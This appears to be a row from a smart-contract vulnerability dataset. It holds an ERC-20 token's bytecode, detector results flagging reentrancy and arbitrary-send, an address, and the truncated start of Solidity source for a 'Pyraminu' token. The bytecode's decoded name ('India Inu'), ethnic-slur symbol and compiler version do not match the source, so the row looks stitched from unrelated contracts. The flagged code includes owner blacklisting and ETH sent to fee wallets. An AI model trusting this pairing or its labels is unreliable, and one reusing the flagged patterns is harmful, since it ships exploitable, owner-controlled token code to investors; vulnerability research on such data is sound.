506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280600981526020017f496e64696120496e750000000000000000000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d4160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b39092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612373565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246e565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f50414a4545540000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124f2565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127dc90919063ffffffff16565b61286290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613db76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cfe6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d926025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb16023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d696029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f057601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8557601454811115611ed757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120305750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120865750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561209e5750601360179054906101000a900460ff165b156121365742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ee57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214130610ae2565b9050601360159054906101000a900460ff161580156121ae5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121c65750601360169054906101000a900460ff165b156121ee576121d4816124f2565b600047905060008111156121ec576121eb47612373565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122975750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a157600090505b6122ad848484846128ac565b50505050565b6000838311158290612360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561232557808201518184015260208101905061230a565b50505050905090810190601f1680156123525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c360028461286290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ee573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243f60028461286290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561246a573d6000803e3d6000fd5b5050565b6000600a548211156124cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd4602a913960400191505060405180910390fd5b60006124d5612b03565b90506124ea818461286290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252757600080fd5b506040519080825280602002602001820160405280156125565781602001602082028036833780820191505090505b509050308160008151811061256757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260957600080fd5b505afa15801561261d573d6000803e3d6000fd5b505050506040513d602081101561263357600080fd5b81019080805190602001909291905050508160018151811061265157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126b830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561277c578082015181840152602081019050612761565b505050509050019650505050505050600060405180830381600087803b1580156127a557600080fd5b505af11580156127b9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ef576000905061285c565b600082840290508284828161280057fe5b0414612857576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d206021913960400191505060405180910390fd5b809150505b92915050565b60006128a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b2e565b905092915050565b806128ba576128b9612bf4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561295d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129725761296d848484612c37565b612aef565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a155750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2a57612a25848484612e97565b612aee565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612acc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae157612adc8484846130f7565b612aed565b612aec8484846133ec565b5b5b5b80612afd57612afc6135b7565b5b50505050565b6000806000612b106135cb565b91509150612b27818361286290919063ffffffff16565b9250505090565b60008083118290612bda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b9f578082015181840152602081019050612b84565b50505050905090810190601f168015612bcc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612be657fe5b049050809150509392505050565b6000600c54148015612c0857506000600d54145b15612c1257612c35565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4987613878565b955095509550955095509550612ca787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e1d816139b2565b612e278483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ea987613878565b955095509550955095509550612f0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307d816139b2565b6130878483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310987613878565b95509550955095509550955061316787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613372816139b2565b61337c8483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133fe87613878565b95509550955095509550955061345c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353d816139b2565b6135478483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561382d5782600260006009848154811061360557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136ec575081600360006009848154811061368457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561370a57600a54683635c9adc5dea0000094509450505050613874565b613793600260006009848154811061371e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138e090919063ffffffff16565b925061381e60036000600984815481106137a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138e090919063ffffffff16565b915080806001019150506135e6565b5061384c683635c9adc5dea00000600a5461286290919063ffffffff16565b82101561386b57600a54683635c9adc5dea00000935093505050613874565b81819350935050505b9091565b60008060008060008060008060006138958a600c54600d54613b91565b92509250925060006138a5612b03565b905060008060006138b88e878787613c27565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b3565b905092915050565b6000808284019050838110156139a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139bc612b03565b905060006139d382846127dc90919063ffffffff16565b9050613a2781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5257613b0e83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b6c82600a546138e090919063ffffffff16565b600a81905550613b8781600b5461392a90919063ffffffff16565b600b819055505050565b600080600080613bbd6064613baf888a6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613be76064613bd9888b6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613c1082613c02858c6138e090919063ffffffff16565b6138e090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c4085896127dc90919063ffffffff16565b90506000613c5786896127dc90919063ffffffff16565b90506000613c6e87896127dc90919063ffffffff16565b90506000613c9782613c8985876138e090919063ffffffff16565b6138e090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122095b4e98d7fdae29139dc1d1b526a0e752d34a65658a871e129b818e38e8538bf64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,438 |
0x570029696ef6a84cf41dc7ef27278e03c838289f
|
/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-18
*/
/**
* .______ ____ ____ .______ ___ .___ ___. __ .__ __. __ __
* | _ \ \ \ / / | _ \ / \ | \/ | | | | \ | | | | | |
* | |_) | \ \/ / | |_) | / ^ \ | \ / | | | | \| | | | | |
* | ___/ \_ _/ | / / /_\ \ | |\/| | | | | . ` | | | | |
* | | | | | |\ \----./ _____ \ | | | | | | | |\ | | `--' |
* | _| |__| | _| `._____/__/ \__\ |__| |__| |__| |__| \__| \______/
*
* Pyraminu
* https://t.me/Pyraminu
* pyraminu.com
*
* Pyraminu is a meme token with a twist!
* Pyraminu has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell.
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
